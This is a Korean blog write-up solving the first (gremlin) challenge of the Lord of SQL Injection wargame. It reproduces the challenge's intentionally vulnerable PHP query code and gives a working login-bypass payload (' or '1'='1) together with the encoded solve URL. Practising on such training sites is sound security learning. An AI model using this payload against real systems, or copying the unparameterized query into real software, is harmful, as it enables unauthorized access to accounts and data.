SQL Injection 문제를 풀어볼 수 있는 사이트로 유명한 Lord of SQL Injection 문제를 풀어가면서 답을 찾은 과정들을 공유하고 기록하기 위해서 글을 쓴다.
[1번 문제 - gremlin]
1
2
3
4
5
6
7
8
9
10
11
12
|
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>
|
cs |
필터링을 위해 작성된 코드 (5 ~ 6번 줄)
실질적으로 문제를 풀기위해 자세히 들여다봐야 할 코드는 7번 줄이고, 문제를 해결하기 위해 10번 줄 코드를 보면 어떤 ID든 상관없이 로그인만 하면 된다는 것을 알 수 있다.
1번 문제 URL뒤에 ID와 PW 파라미터를 추가적으로 적어서 문제를 풀 수 있다. (가장 기초적인 SQLi 문제이다)
인코딩 되기 전 공격 문구는 id=ggg&pw='' or '1'='1 이다.
[문제 풀이 구문]
https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=ggg&pw=%27%20or%20%271%27=%271
'워게임' 카테고리의 다른 글
Lord of SQL Injection - 6번 문제풀이 (0) | 2023.01.04 |
---|---|
Lord of SQL Injection - 5번 문제풀이 (0) | 2023.01.04 |
Lord of SQL Injection - 4번 문제풀이 (0) | 2023.01.02 |
Lord of SQL Injection - 3번 문제풀이 (0) | 2023.01.02 |
Lord of SQL Injection - 2번 문제풀이 (0) | 2023.01.01 |